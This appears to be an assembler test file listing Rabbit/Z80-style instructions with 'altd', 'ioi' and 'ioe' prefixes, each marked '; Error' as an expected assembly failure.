Error altd ioe ld c, (ix+127) ; Error altd ioe ld c, (ix-128) ; Error altd ioe ld c, (iy) ; Error altd ioe ld c, (iy+127) ; Error altd ioe ld c, (iy-128) ; Error altd ioe ld d, (hl) ; Error altd ioe ld d, (ix) ; Error altd ioe ld d, (ix+127) ; Error altd ioe ld d, (ix-128) ; Error altd ioe ld d, (iy) ; Error altd ioe ld d, (iy+127) ; Error altd ioe ld d, (iy-128) ; Error altd ioe ld de, (-32768) ; Error altd ioe ld de, (32767) ; Error altd ioe ld de, (65535) ; Error altd ioe ld e, (hl) ; Error altd ioe ld e, (ix) ; Error altd ioe ld e, (ix+127) ; Error altd ioe ld e, (ix-128) ; Error altd ioe ld e, (iy) ; Error altd ioe ld e, (iy+127) ; Error altd ioe ld e, (iy-128) ; Error altd ioe ld h, (hl) ; Error altd ioe ld h, (ix) ; Error altd ioe ld h, (ix+127) ; Error altd ioe ld h, (ix-128) ; Error altd ioe ld h, (iy) ; Error altd ioe ld h, (iy+127) ; Error altd ioe ld h, (iy-128) ; Error altd ioe ld hl, (-32768) ; Error altd ioe ld hl, (32767) ; Error altd ioe ld hl, (65535) ; Error altd ioe ld hl, (hl) ; Error altd ioe ld hl, (hl+127) ; Error altd ioe ld hl, (hl-128) ; Error altd ioe ld hl, (ix) ; Error altd ioe ld hl, (ix+127) ; Error altd ioe ld hl, (ix-128) ; Error altd ioe ld hl, (iy) ; Error altd ioe ld hl, (iy+127) ; Error altd ioe ld hl, (iy-128) ; Error altd ioe ld l, (hl) ; Error altd ioe ld l, (ix) ; Error altd ioe ld l, (ix+127) ; Error altd ioe ld l, (ix-128) ; Error altd ioe ld l, (iy) ; Error altd ioe ld l, (iy+127) ; Error altd ioe ld l, (iy-128) ; Error altd ioe or (hl) ; Error altd ioe or (ix) ; Error altd ioe or (ix+127) ; Error altd ioe or (ix-128) ; Error altd ioe or (iy) ; Error altd ioe or (iy+127) ; Error altd ioe or (iy-128) ; Error altd ioe or a, (hl) ; Error altd ioe or a, (ix) ; Error altd ioe or a, (ix+127) ; Error altd ioe or a, (ix-128) ; Error altd ioe or a, (iy) ; Error altd ioe or a, (iy+127) ; Error altd ioe or a, (iy-128) ; Error altd ioe rl (hl) ; Error altd ioe rl (ix) ; Error altd ioe rl (ix+127) ; Error altd ioe rl (ix-128) ; Error altd ioe rl (iy) ; Error altd ioe rl (iy+127) ; Error altd ioe rl (iy-128) ; Error altd ioe rlc (hl) ; Error altd ioe rlc (ix) ; Error altd ioe rlc (ix+127) ; Error altd ioe rlc (ix-128) ; Error altd ioe rlc (iy) ; Error altd ioe rlc (iy+127) ; Error altd ioe rlc (iy-128) ; Error altd ioe rr (hl) ; Error altd ioe rr (ix) ; Error altd ioe rr (ix+127) ; Error altd ioe rr (ix-128) ; Error altd ioe rr (iy) ; Error altd ioe rr (iy+127) ; Error altd ioe rr (iy-128) ; Error altd ioe rrc (hl) ; Error altd ioe rrc (ix) ; Error altd ioe rrc (ix+127) ; Error altd ioe rrc (ix-128) ; Error altd ioe rrc (iy) ; Error altd ioe rrc (iy+127) ; Error altd ioe rrc (iy-128) ; Error altd ioe sbc (hl) ; Error altd ioe sbc (ix) ; Error altd ioe sbc (ix+127) ; Error altd ioe sbc (ix-128) ; Error altd ioe sbc (iy) ; Error altd ioe sbc (iy+127) ; Error altd ioe sbc (iy-128) ; Error altd ioe sbc a, (hl) ; Error altd ioe sbc a, (ix) ; Error altd ioe sbc a, (ix+127) ; Error altd ioe sbc a, (ix-128) ; Error altd ioe sbc a, (iy) ; Error altd ioe sbc a, (iy+127) ; Error altd ioe sbc a, (iy-128) ; Error altd ioe sla (hl) ; Error altd ioe sla (ix) ; Error altd ioe sla (ix+127) ; Error altd ioe sla (ix-128) ; Error altd ioe sla (iy) ; Error altd ioe sla (iy+127) ; Error altd ioe sla (iy-128) ; Error altd ioe sra (hl) ; Error altd ioe sra (ix) ; Error altd ioe sra (ix+127) ; Error altd ioe sra (ix-128) ; Error altd ioe sra (iy) ; Error altd ioe sra (iy+127) ; Error altd ioe sra (iy-128) ; Error altd ioe srl (hl) ; Error altd ioe srl (ix) ; Error altd ioe srl (ix+127) ; Error altd ioe srl (ix-128) ; Error altd ioe srl (iy) ; Error altd ioe srl (iy+127) ; Error altd ioe srl (iy-128) ; Error altd ioe sub (hl) ; Error altd ioe sub (ix) ; Error altd ioe sub (ix+127) ; Error altd ioe sub (ix-128) ; Error altd ioe sub (iy) ; Error altd ioe sub (iy+127) ; Error altd ioe sub (iy-128) ; Error altd ioe sub a, (hl) ; Error altd ioe sub a, (ix) ; Error altd ioe sub a, (ix+127) ; Error altd ioe sub a, (ix-128) ; Error altd ioe sub a, (iy) ; Error altd ioe sub a, (iy+127) ; Error altd ioe sub a, (iy-128) ; Error altd ioe xor (hl) ; Error altd ioe xor (ix) ; Error altd ioe xor (ix+127) ; Error altd ioe xor (ix-128) ; Error altd ioe xor (iy) ; Error altd ioe xor (iy+127) ; Error altd ioe xor (iy-128) ; Error altd ioe xor a, (hl) ; Error altd ioe xor a, (ix) ; Error altd ioe xor a, (ix+127) ; Error altd ioe xor a, (ix-128) ; Error altd ioe xor a, (iy) ; Error altd ioe xor a, (iy+127) ; Error altd ioe xor a, (iy-128) ; Error altd ioi adc (hl) ; Error altd ioi adc (ix) ; Error altd ioi adc (ix+127) ; Error altd ioi adc (ix-128) ; Error altd ioi adc (iy) ; Error altd ioi adc (iy+127) ; Error altd ioi adc (iy-128) ; Error altd ioi adc a, (hl) ; Error altd ioi adc a, (ix) ; Error altd ioi adc a, (ix+127) ; Error altd ioi adc a, (ix-128) ; Error altd ioi adc a, (iy) ; Error altd ioi adc a, (iy+127) ; Error altd ioi adc a, (iy-128) ; Error altd ioi add (hl) ; Error altd ioi add (ix) ; Error altd ioi add (ix+127) ; Error altd ioi add (ix-128) ; Error altd ioi add (iy) ; Error altd ioi add (iy+127) ; Error altd ioi add (iy-128) ; Error altd ioi add a, (hl) ; Error altd ioi add a, (ix) ; Error altd ioi add a, (ix+127) ; Error altd ioi add a, (ix-128) ; Error altd ioi add a, (iy) ; Error altd ioi add a, (iy+127) ; Error altd ioi add a, (iy-128) ; Error altd ioi and (hl) ; Error altd ioi and (ix) ; Error altd ioi and (ix+127) ; Error altd ioi and (ix-128) ; Error altd ioi and (iy) ; Error altd ioi and (iy+127) ; Error altd ioi and (iy-128) ; Error altd ioi and a, (hl) ; Error altd ioi and a, (ix) ; Error altd ioi and a, (ix+127) ; Error altd ioi and a, (ix-128) ; Error altd ioi and a, (iy) ; Error altd ioi and a, (iy+127) ; Error altd ioi and a, (iy-128) ; Error altd ioi bit -1, (hl) ; Error altd ioi bit -1, (hl) ; Error altd ioi bit -1, (ix) ; Error altd ioi bit -1, (ix) ; Error altd ioi bit -1, (ix+127) ; Error altd ioi bit -1, (ix+127) ; Error altd ioi bit -1, (ix-128) ; Error altd ioi bit -1, (ix-128) ; Error altd ioi bit -1, (iy) ; Error altd ioi bit -1, (iy) ; Error altd ioi bit -1, (iy+127) ; Error altd ioi bit -1, (iy+127) ; Error altd ioi bit -1, (iy-128) ; Error altd ioi bit -1, (iy-128) ; Error altd ioi bit 0, (hl) ; Error altd ioi bit 0, (ix) ; Error altd ioi bit 0, (ix+127) ; Error altd ioi bit 0, (ix-128) ; Error altd ioi bit 0, (iy) ; Error altd ioi bit 0, (iy+127) ; Error altd ioi bit 0, (iy-128) ; Error altd ioi bit 1, (hl) ; Error altd ioi bit 1, (ix) ; Error altd ioi bit 1, (ix+127) ; Error altd ioi bit 1, (ix-128) ; Error altd ioi bit 1, (iy) ; Error altd ioi bit 1, (iy+127) ; Error altd ioi bit 1, (iy-128) ; Error altd ioi bit 2, (hl) ; Error altd ioi bit 2, (ix) ; Error altd ioi bit 2, (ix+127) ; Error altd ioi bit 2, (ix-128) ; Error altd ioi bit 2, (iy) ; Error altd ioi bit 2, (iy+127) ; Error altd ioi bit 2, (iy-128) ; Error altd ioi bit 3, (hl) ; Error altd ioi bit 3, (ix) ; Error altd ioi bit 3, (ix+127) ; Error altd ioi bit 3, (ix-128) ; Error altd ioi bit 3, (iy) ; Error altd ioi bit 3, (iy+127) ; Error altd ioi bit 3, (iy-128) ; Error altd ioi bit 4, (hl) ; Error altd ioi bit 4, (ix) ; Error altd ioi bit 4, (ix+127) ; Error altd ioi bit 4, (ix-128) ; Error altd ioi bit 4, (iy) ; Error altd ioi bit 4, (iy+127) ; Error altd ioi bit 4, (iy-128) ; Error altd ioi bit 5, (hl) ; Error altd ioi bit 5, (ix) ; Error altd ioi bit 5, (ix+127) ; Error altd ioi bit 5, (ix-128) ; Error altd ioi bit 5, (iy) ; Error altd ioi bit 5, (iy+127) ; Error altd ioi bit 5, (iy-128) ; Error altd ioi bit 6, (hl) ; Error altd ioi bit 6, (ix) ; Error altd ioi bit 6, (ix+127) ; Error altd ioi bit 6, (ix-128) ; Error altd ioi bit 6, (iy) ; Error altd ioi bit 6, (iy+127) ; Error altd ioi bit 6, (iy-128) ; Error altd ioi bit 7, (hl) ; Error altd ioi bit 7, (ix) ; Error altd ioi bit 7, (ix+127) ; Error altd ioi bit 7, (ix-128) ; Error altd ioi bit 7, (iy) ; Error altd ioi bit 7, (iy+127) ; Error altd ioi bit 7, (iy-128) ; Error altd ioi bit 8, (hl) ; Error altd ioi bit 8, (hl) ; Error altd ioi bit 8, (ix) ; Error altd ioi bit 8, (ix) ; Error altd ioi bit 8, (ix+127) ; Error altd ioi bit 8, (ix+127) ; Error altd ioi bit 8, (ix-128) ; Error altd ioi bit 8, (ix-128) ; Error altd ioi bit 8, (iy) ; Error altd ioi bit 8, (iy) ; Error altd ioi bit 8, (iy+127) ; Error altd ioi bit 8, (iy+127) ; Error altd ioi bit 8, (iy-128) ; Error altd ioi bit 8, (iy-128) ; Error altd ioi cp (hl) ; Error altd ioi cp (ix) ; Error altd ioi cp (ix+127) ; Error altd ioi cp (ix-128) ; Error altd ioi cp (iy) ; Error altd ioi cp (iy+127) ; Error altd ioi cp (iy-128) ; Error altd ioi cp a, (hl) ; Error altd ioi cp a, (ix) ; Error altd ioi cp a, (ix+127) ; Error altd ioi cp a, (ix-128) ; Error altd ioi cp a, (iy) ; Error altd ioi cp a, (iy+127) ; Error altd ioi cp a, (iy-128) ; Error altd ioi dec (hl) ; Error altd ioi dec (ix) ; Error altd ioi dec (ix+127) ; Error altd ioi dec (ix-128) ; Error altd ioi dec (iy) ; Error altd ioi dec (iy+127) ; Error altd ioi dec (iy-128) ; Error altd ioi inc (hl) ; Error altd ioi inc (ix) ; Error altd ioi inc (ix+127) ; Error altd ioi inc (ix-128) ; Error altd ioi inc (iy) ; Error altd ioi inc (iy+127) ; Error altd ioi inc (iy-128) ; Error altd ioi ld a, (-32768) ; Error altd ioi ld a, (32767) ; Error altd ioi ld a, (65535) ; Error altd ioi ld a, (bc) ; Error altd ioi ld a, (bc+) ; Error altd ioi ld a, (bc-) ; Error altd ioi ld a, (de) ; Error altd ioi ld a, (de+) ; Error altd ioi ld a, (de-) ; Error altd ioi ld a, (hl) ; Error altd ioi ld a, (hl+) ; Error altd ioi ld a, (hl-) ; Error altd ioi ld a, (hld) ; Error altd ioi ld a, (hli) ; Error altd ioi ld a, (ix) ; Error altd ioi ld a, (ix+127) ; Error altd ioi ld a, (ix-128) ; Error altd ioi ld a, (iy) ; Error altd ioi ld a, (iy+127) ; Error altd ioi ld a, (iy-128) ; Error altd ioi ld b, (hl) ; Error altd ioi ld b, (ix) ; Error altd ioi ld b, (ix+127) ; Error altd ioi ld b, (ix-128) ; Error altd ioi ld b, (iy) ; Error altd ioi ld b, (iy+127) ; Error altd ioi ld b, (iy-128) ; Error altd ioi ld bc, (-32768) ; Error altd ioi ld bc, (32767) ; Error altd ioi ld bc, (65535) ; Error altd ioi ld c, (hl) ; Error altd ioi ld c, (ix) ; Error altd ioi ld c, (ix+127) ; Error altd ioi ld c, (ix-128) ; Error altd ioi ld c, (iy) ; Error altd ioi ld c, (iy+127) ; Error altd ioi ld c, (iy-128) ; Error altd ioi ld d, (hl) ; Error altd ioi ld d, (ix) ; Error altd ioi ld d, (ix+127) ; Error altd ioi ld d, (ix-128) ; Error altd ioi ld d, (iy) ; Error altd ioi ld d, (iy+127) ; Error altd ioi ld d, (iy-128) ; Error altd ioi ld de, (-32768) ; Error altd ioi ld de, (32767) ; Error altd ioi ld de, (65535) ; Error altd ioi ld e, (hl) ; Error altd ioi ld e, (ix) ; Error altd ioi ld e, (ix+127) ; Error altd ioi ld e, (ix-128) ; Error altd ioi ld e, (iy) ; Error altd ioi ld e, (iy+127) ; Error altd ioi ld e, (iy-128) ; Error altd ioi ld h, (hl) ; Error altd ioi ld h, (ix) ; Error altd ioi ld h, (ix+127) ; Error altd ioi ld h, (ix-128) ; Error altd ioi ld h, (iy) ; Error altd ioi ld h, (iy+127) ; Error altd ioi ld h, (iy-128) ; Error altd ioi ld hl, (-32768) ; Error altd ioi ld hl, (32767) ; Error altd ioi ld hl, (65535) ; Error altd ioi ld hl, (hl) ; Error altd ioi ld hl, (hl+127) ; Error altd ioi ld hl, (hl-128) ; Error altd ioi ld hl, (ix) ; Error altd ioi ld hl, (ix+127) ; Error altd ioi ld hl, (ix-128) ; Error altd ioi ld hl, (iy) ; Error altd ioi ld hl, (iy+127) ; Error altd ioi ld hl, (iy-128) ; Error altd ioi ld l, (hl) ; Error altd ioi ld l, (ix) ; Error altd ioi ld l, (ix+127) ; Error altd ioi ld l, (ix-128) ; Error altd ioi ld l, (iy) ; Error altd ioi ld l, (iy+127) ; Error altd ioi ld l, (iy-128) ; Error altd ioi or (hl) ; Error altd ioi or (ix) ; Error altd ioi or (ix+127) ; Error altd ioi or (ix-128) ; Error altd ioi or (iy) ; Error altd ioi or (iy+127) ; Error altd ioi or (iy-128) ; Error altd ioi or a, (hl) ; Error altd ioi or a, (ix) ; Error altd ioi or a, (ix+127) ; Error altd ioi or a, (ix-128) ; Error altd ioi or a, (iy) ; Error altd ioi or a, (iy+127) ; Error altd ioi or a, (iy-128) ; Error altd ioi rl (hl) ; Error altd ioi rl (ix) ; Error altd ioi rl (ix+127) ; Error altd ioi rl (ix-128) ; Error altd ioi rl (iy) ; Error altd ioi rl (iy+127) ; Error altd ioi rl (iy-128) ; Error altd ioi rlc (hl) ; Error altd ioi rlc (ix) ; Error altd ioi rlc (ix+127) ; Error altd ioi rlc (ix-128) ; Error altd ioi rlc (iy) ; Error altd ioi rlc (iy+127) ; Error altd ioi rlc (iy-128) ; Error altd ioi rr (hl) ; Error altd ioi rr (ix) ; Error altd ioi rr (ix+127) ; Error altd ioi rr (ix-128) ; Error altd ioi rr (iy) ; Error altd ioi rr (iy+127) ; Error altd ioi rr (iy-128) ; Error altd ioi rrc (hl) ; Error altd ioi rrc (ix) ; Error altd ioi rrc (ix+127) ; Error altd ioi rrc (ix-128) ; Error altd ioi rrc (iy) ; Error altd ioi rrc (iy+127) ; Error altd ioi rrc (iy-128) ; Error altd ioi sbc (hl) ; Error altd ioi sbc (ix) ; Error altd ioi sbc (ix+127) ; Error altd ioi sbc (ix-128) ; Error altd ioi sbc (iy) ; Error altd ioi sbc (iy+127) ; Error altd ioi sbc (iy-128) ; Error altd ioi sbc a, (hl) ; Error altd ioi sbc a, (ix) ; Error altd ioi sbc a, (ix+127) ; Error altd ioi sbc a, (ix-128) ; Error altd ioi sbc a, (iy) ; Error altd ioi sbc a, (iy+127) ; Error altd ioi sbc a, (iy-128) ; Error altd ioi sla (hl) ; Error altd ioi sla (ix) ; Error altd ioi sla (ix+127) ; Error altd ioi sla (ix-128) ; Error altd ioi sla (iy) ; Error altd ioi sla (iy+127) ; Error altd ioi sla (iy-128) ; Error altd ioi sra (hl) ; Error altd ioi sra (ix) ; Error altd ioi sra (ix+127) ; Error altd ioi sra (ix-128) ; Error altd ioi sra (iy) ; Error altd ioi sra (iy+127) ; Error altd ioi sra (iy-128) ; Error altd ioi srl (hl) ; Error altd ioi srl (ix) ; Error altd ioi srl (ix+127) ; Error altd ioi srl (ix-128) ; Error altd ioi srl (iy) ; Error altd ioi srl (iy+127) ; Error altd ioi srl (iy-128) ; Error altd ioi sub (hl) ; Error altd ioi sub (ix) ; Error altd ioi sub (ix+127) ; Error altd ioi sub (ix-128) ; Error altd ioi sub (iy) ; Error altd ioi sub (iy+127) ; Error altd ioi sub (iy-128) ; Error altd ioi sub a, (hl) ; Error altd ioi sub a, (ix) ; Error altd ioi sub a, (ix+127) ; Error altd ioi sub a, (ix-128) ; Error altd ioi sub a, (iy) ; Error altd ioi sub a, (iy+127) ; Error altd ioi sub a, (iy-128) ; Error altd ioi xor (hl) ; Error altd ioi xor (ix) ; Error altd ioi xor (ix+127) ; Error altd ioi xor (ix-128) ; Error altd ioi xor (iy) ; Error altd ioi xor (iy+127) ; Error altd ioi xor (iy-128) ; Error altd ioi xor a, (hl) ; Error altd ioi xor a, (ix) ; Error altd ioi xor a, (ix+127) ; Error altd ioi xor a, (ix-128) ; Error altd ioi xor a, (iy) ; Error altd ioi xor a, (iy+127) ; Error altd ioi xor a, (iy-128) ; Error altd ld a, (-32768) ; Error altd ld a, (32767) ; Error altd ld a, (65535) ; Error altd ld a, (bc) ; Error altd ld a, (bc+) ; Error altd ld a, (bc-) ; Error altd ld a, (de) ; Error altd ld a, (de+) ; Error altd ld a, (de-) ; Error altd ld a, (hl) ; Error altd ld a, (hl+) ; Error altd ld a, (hl-) ; Error altd ld a, (hld) ; Error altd ld a, (hli) ; Error altd ld a, (ix) ; Error altd ld a, (ix+127) ; Error altd ld a, (ix-128) ; Error altd ld a, (iy) ; Error altd ld a, (iy+127) ; Error altd ld a, (iy-128) ; Error altd ld a, -128 ; Error altd ld a, 127 ; Error altd ld a, 255 ; Error altd ld a, a ; Error altd ld a, b ; Error altd ld a, c ; Error altd ld a, d ; Error altd ld a, e ; Error altd ld a, eir ; Error altd ld a, h ; Error altd ld a, iir ; Error altd ld a, l ; Error altd ld a, xpc ; Error altd ld b, (hl) ; Error altd ld b, (ix) ; Error altd ld b, (ix+127) ; Error altd ld b, (ix-128) ; Error altd ld b, (iy) ; Error altd ld b, (iy+127) ; Error altd ld b, (iy-128) ; Error altd ld b, -128 ; Error altd ld b, 127 ; Error altd ld b, 255 ; Error altd ld b, a ; Error altd ld b, b ; Error altd ld b, c ; Error altd ld b, d ; Error altd ld b, e ; Error altd ld b, h ; Error altd ld b, l ; Error altd ld bc, (-32768) ; Error altd ld bc, (32767) ; Error altd ld bc, (65535) ; Error altd ld bc, -32768 ; Error altd ld bc, 32767 ; Error altd ld bc, 65535 ; Error altd ld bc, bc ; Error altd ld bc, de ; Error altd ld c, (hl) ; Error altd ld c, (ix) ; Error altd ld c, (ix+127) ; Error altd ld c, (ix-128) ; Error altd ld c, (iy) ; Error altd ld c, (iy+127) ; Error altd ld c, (iy-128) ; Error altd ld c, -128 ; Error altd ld c, 127 ; Error altd ld c, 255 ; Error altd ld c, a ; Error altd ld c, b ; Error altd ld c, c ; Error altd ld c, d ; Error altd ld c, e ; Error altd ld c, h ; Error altd ld c, l ; Error altd ld d, (hl) ; Error altd ld d, (ix) ; Error altd ld d, (ix+127) ; Error altd ld d, (ix-128) ; Error altd ld d, (iy) ; Error altd ld d, (iy+127) ; Error altd ld d, (iy-128) ; Error altd ld d, -128 ; Error altd ld d, 127 ; Error altd ld d, 255 ; Error altd ld d, a ; Error altd ld d, b ; Error altd ld d, c ; Error altd ld d, d ; Error altd ld d, e ; Error altd ld d, h ; Error altd ld d, l ; Error altd ld de, (-32768) ; Error altd ld de, (32767) ; Error altd ld de, (65535) ; Error altd ld de, -32768 ; Error altd ld de, 32767 ; Error altd ld de, 65535 ; Error altd ld de, bc ; Error altd ld de, de ; Error altd ld e, (hl) ; Error altd ld e, (ix) ; Error altd ld e, (ix+127) ; Error altd ld e, (ix-128) ; Error altd ld e, (iy) ; Error altd ld e, (iy+127) ; Error altd ld e, (iy-128) ; Error altd ld e, -128 ; Error altd ld e, 127 ; Error altd ld e, 255 ; Error altd ld e, a ; Error altd ld e, b ; Error altd ld e, c ; Error altd ld e, d ; Error altd ld e, e ; Error altd ld e, h ; Error altd ld e, l ; Error altd ld h, (hl) ; Error altd ld h, (ix) ; Error altd ld h, (ix+127) ; Error altd ld h, (ix-128) ; Error altd ld h, (iy) ; Error altd ld h, (iy+127) ; Error altd ld h, (iy-128) ; Error altd ld h, -128 ; Error altd ld h, 127 ; Error altd ld h, 255 ; Error altd ld h, a ; Error altd ld h, b ; Error altd ld h, c ; Error altd ld h, d ; Error altd ld h, e ; Error altd ld h, h ; Error altd ld h, l ; Error altd ld hl, (-32768) ; Error altd ld hl, (32767) ; Error altd ld hl, (65535) ; Error altd ld hl, (hl) ; Error altd ld hl, (hl+127) ; Error altd ld hl, (hl-128) ; Error altd ld hl, (ix) ; Error altd ld hl, (ix+127) ; Error altd ld hl, (ix-128) ; Error altd ld hl, (iy) ; Error altd ld hl, (iy+127) ; Error altd ld hl, (iy-128) ; Error altd ld hl, (sp) ; Error altd ld hl, (sp+0) ; Error altd ld hl, (sp+255) ; Error altd ld hl, -32768 ; Error altd ld hl, 32767 ; Error altd ld hl, 65535 ; Error altd ld hl, bc ; Error altd ld hl, de ; Error altd ld hl, ix ; Error altd ld hl, iy ; Error altd ld l, (hl) ; Error altd ld l, (ix) ; Error altd ld l, (ix+127) ; Error altd ld l, (ix-128) ; Error altd ld l, (iy) ; Error altd ld l, (iy+127) ; Error altd ld l, (iy-128) ; Error altd ld l, -128 ; Error altd ld l, 127 ; Error altd ld l, 255 ; Error altd ld l, a ; Error altd ld l, b ; Error altd ld l, c ; Error altd ld l, d ; Error altd ld l, e ; Error altd ld l, h ; Error altd ld l, l ; Error altd neg ; Error altd neg a ; Error altd or (hl) ; Error altd or (ix) ; Error altd or (ix+127) ; Error altd or (ix-128) ; Error altd or (iy) ; Error altd or (iy+127) ; Error altd or (iy-128) ; Error altd or -128 ; Error altd or 127 ; Error altd or 255 ; Error altd or a ; Error altd or a, (hl) ; Error altd or a, (ix) ; Error altd or a, (ix+127) ; Error altd or a, (ix-128) ; Error altd or a, (iy) ; Error altd or a, (iy+127) ; Error altd or a, (iy-128) ; Error altd or a, -128 ; Error altd or a, 127 ; Error altd or a, 255 ; Error altd or a, a ; Error altd or a, b ; Error altd or a, c ; Error altd or a, d ; Error altd or a, e ; Error altd or a, h ; Error altd or a, l ; Error altd or b ; Error altd or c ; Error altd or d ; Error altd or e ; Error altd or h ; Error altd or hl, de ; Error altd or ix, de ; Error altd or iy, de ; Error altd or l ; Error altd pop af ; Error altd pop b ; Error altd pop bc ; Error altd pop d ; Error altd pop de ; Error altd pop h ; Error altd pop hl ; Error altd res -1, a ; Error altd res -1, a ; Error altd res -1, b ; Error altd res -1, b ; Error altd res -1, c ; Error altd res -1, c ; Error altd res -1, d ; Error altd res -1, d ; Error altd res -1, e ; Error altd res -1, e ; Error altd res -1, h ; Error altd res -1, h ; Error altd res -1, l ; Error altd res -1, l ; Error altd res 0, a ; Error altd res 0, b ; Error altd res 0, c ; Error altd res 0, d ; Error altd res 0, e ; Error altd res 0, h ; Error altd res 0, l ; Error altd res 1, a ; Error altd res 1, b ; Error altd res 1, c ; Error altd res 1, d ; Error altd res 1, e ; Error altd res 1, h ; Error altd res 1, l ; Error altd res 2, a ; Error altd res 2, b ; Error altd res 2, c ; Error altd res 2, d ; Error altd res 2, e ; Error altd res 2, h ; Error altd res 2, l ; Error altd res 3, a ; Error altd res 3, b ; Error altd res 3, c ; Error altd res 3, d ; Error altd res 3, e ; Error altd res 3, h ; Error altd res 3, l ; Error altd res 4, a ; Error altd res 4, b ; Error altd res 4, c ; Error altd res 4, d ; Error altd res 4, e ; Error altd res 4, h ; Error altd res 4, l ; Error altd res 5, a ; Error altd res 5, b ; Error altd res 5, c ; Error altd res 5, d ; Error altd res 5, e ; Error altd res 5, h ; Error altd res 5, l ; Error altd res 6, a ; Error altd res 6, b ; Error altd res 6, c ; Error altd res 6, d ; Error altd res 6, e ; Error altd res 6, h ; Error altd res 6, l ; Error altd res 7, a ; Error altd res 7, b ; Error altd res 7, c ; Error altd res 7, d ; Error altd res 7, e ; Error altd res 7, h ; Error altd res 7, l ; Error altd res 8, a ; Error altd res 8, a ; Error altd res 8, b ; Error altd res 8, b ; Error altd res 8, c ; Error altd res 8, c ; Error altd res 8, d ; Error altd res 8, d ; Error altd res 8, e ; Error altd res 8, e ; Error altd res 8, h ; Error altd res 8, h ; Error altd res 8, l ; Error altd res 8, l ; Error altd rl (hl) ; Error altd rl (ix) ; Error altd rl (ix+127) ; Error altd rl (ix-128) ; Error altd rl (iy) ; Error altd rl (iy+127) ; Error altd rl (iy-128) ; Error altd rl a ; Error altd rl b ; Error altd rl c ; Error altd rl d ; Error altd rl de ; Error altd rl e ; Error altd rl h ; Error altd rl l ; Error altd rla ; Error altd rlc (hl) ; Error altd rlc (ix) ; Error altd rlc (ix+127) ; Error altd rlc (ix-128) ; Error altd rlc (iy) ; Error altd rlc (iy+127) ; Error altd rlc (iy-128) ; Error altd rlc a ; Error altd rlc b ; Error altd rlc c ; Error altd rlc d ; Error altd rlc e ; Error altd rlc h ; Error altd rlc l ; Error altd rlca ; Error altd rr (hl) ; Error altd rr (ix) ; Error altd rr (ix+127) ; Error altd rr (ix-128) ; Error altd rr (iy) ; Error altd rr (iy+127) ; Error altd rr (iy-128) ; Error altd rr a ; Error altd rr b ; Error altd rr c ; Error altd rr d ; Error altd rr de ; Error altd rr e ; Error altd rr h ; Error altd rr hl ; Error altd rr ix ; Error altd rr iy ; Error altd rr l ; Error altd rra ; Error altd rrc (hl) ; Error altd rrc (ix) ; Error altd rrc (ix+127) ; Error altd rrc (ix-128) ; Error altd rrc (iy) ; Error altd rrc (iy+127) ; Error altd rrc (iy-128) ; Error altd rrc a ; Error altd rrc b ; Error altd rrc c ; Error altd rrc d ; Error altd rrc e ; Error altd rrc h ; Error altd rrc l ; Error altd rrca ; Error altd sbc (hl) ; Error altd sbc (ix) ; Error altd sbc (ix+127) ; Error altd sbc (ix-128) ; Error altd sbc (iy) ; Error altd sbc (iy+127) ; Error altd sbc (iy-128) ; Error altd sbc -128 ; Error altd sbc 127 ; Error altd sbc 255 ; Error altd sbc a ; Error altd sbc a, (hl) ; Error altd sbc a, (ix) ; Error altd sbc a, (ix+127) ; Error altd sbc a, (ix-128) ; Error altd sbc a, (iy) ; Error altd sbc a, (iy+127) ; Error altd sbc a, (iy-128) ; Error altd sbc a, -128 ; Error altd sbc a, 127 ; Error altd sbc a, 255 ; Error altd sbc a, a ; Error altd sbc a, b ; Error altd sbc a, c ; Error altd sbc a, d ; Error altd sbc a, e ; Error altd sbc a, h ; Error altd sbc a, l ; Error altd sbc b ; Error altd sbc c ; Error altd sbc d ; Error altd sbc e ; Error altd sbc h ; Error altd sbc hl, bc ; Error altd sbc hl, de ; Error altd sbc hl, hl ; Error altd sbc hl, sp ; Error altd sbc l ; Error altd scf ; Error altd set -1, a ; Error altd set -1, a ; Error altd set -1, b ; Error altd set -1, b ; Error altd set -1, c ; Error altd set -1, c ; Error altd set -1, d ; Error altd set -1, d ; Error altd set -1, e ; Error altd set -1, e ; Error altd set -1, h ; Error altd set -1, h ; Error altd set -1, l ; Error altd set -1, l ; Error altd set 0, a ; Error altd set 0, b ; Error altd set 0, c ; Error altd set 0, d ; Error altd set 0, e ; Error altd set 0, h ; Error altd set 0, l ; Error altd set 1, a ; Error altd set 1, b ; Error altd set 1, c ; Error altd set 1, d ; Error altd set 1, e ; Error altd set 1, h ; Error altd set 1, l ; Error altd set 2, a ; Error altd set 2, b ; Error altd set 2, c ; Error altd set 2, d ; Error altd set 2, e ; Error altd set 2, h ; Error altd set 2, l ; Error altd set 3, a ; Error altd set 3, b ; Error altd set 3, c ; Error altd set 3, d ; Error altd set 3, e ; Error altd set 3, h ; Error altd set 3, l ; Error altd set 4, a ; Error altd set 4, b ; Error altd set 4, c ; Error altd set 4, d ; Error altd set 4, e ; Error altd set 4, h ; Error altd set 4, l ; Error altd set 5, a ; Error altd set 5, b ; Error altd set 5, c ; Error altd set 5, d ; Error altd set 5, e ; Error altd set 5, h ; Error altd set 5, l ; Error altd set 6, a ; Error altd set 6, b ; Error altd set 6, c ; Error altd set 6, d ; Error altd set 6, e ; Error altd set 6, h ; Error altd set 6, l ; Error altd set 7, a ; Error altd set 7, b ; Error altd set 7, c ; Error altd set 7, d ; Error altd set 7, e ; Error altd set 7, h ; Error altd set 7, l ; Error altd set 8, a ; Error altd set 8, a ; Error altd set 8, b ; Error altd set 8, b ; Error altd set 8, c ; Error altd set 8, c ; Error altd set 8, d ; Error altd set 8, d ; Error altd set 8, e ; Error altd set 8, e ; Error altd set 8, h ; Error altd set 8, h ; Error altd set 8, l ; Error altd set 8, l ; Error altd sla (hl) ; Error altd sla (ix) ; Error altd sla (ix+127) ; Error altd sla (ix-128) ; Error altd sla (iy) ; Error altd sla (iy+127) ; Error altd sla (iy-128) ; Error altd sla a ; Error altd sla b ; Error altd sla c ; Error altd sla d ; Error altd sla e ; Error altd sla h ; Error altd sla l ; Error altd sra (hl) ; Error altd sra (ix) ; Error altd sra (ix+127) ; Error altd sra (ix-128) ; Error altd sra (iy) ; Error altd sra (iy+127) ; Error altd sra (iy-128) ; Error altd sra a ; Error altd sra b ; Error altd sra c ; Error altd sra d ; Error altd sra e ; Error altd sra h ; Error altd sra l ; Error altd srl (hl) ; Error altd srl (ix) ; Error altd srl (ix+127) ; Error altd srl (ix-128) ; Error altd srl (iy) ; Error altd srl (iy+127) ; Error altd srl (iy-128) ; Error altd srl a ; Error altd srl b ; Error altd srl c ; Error altd srl d ; Error altd srl e ; Error altd srl h ; 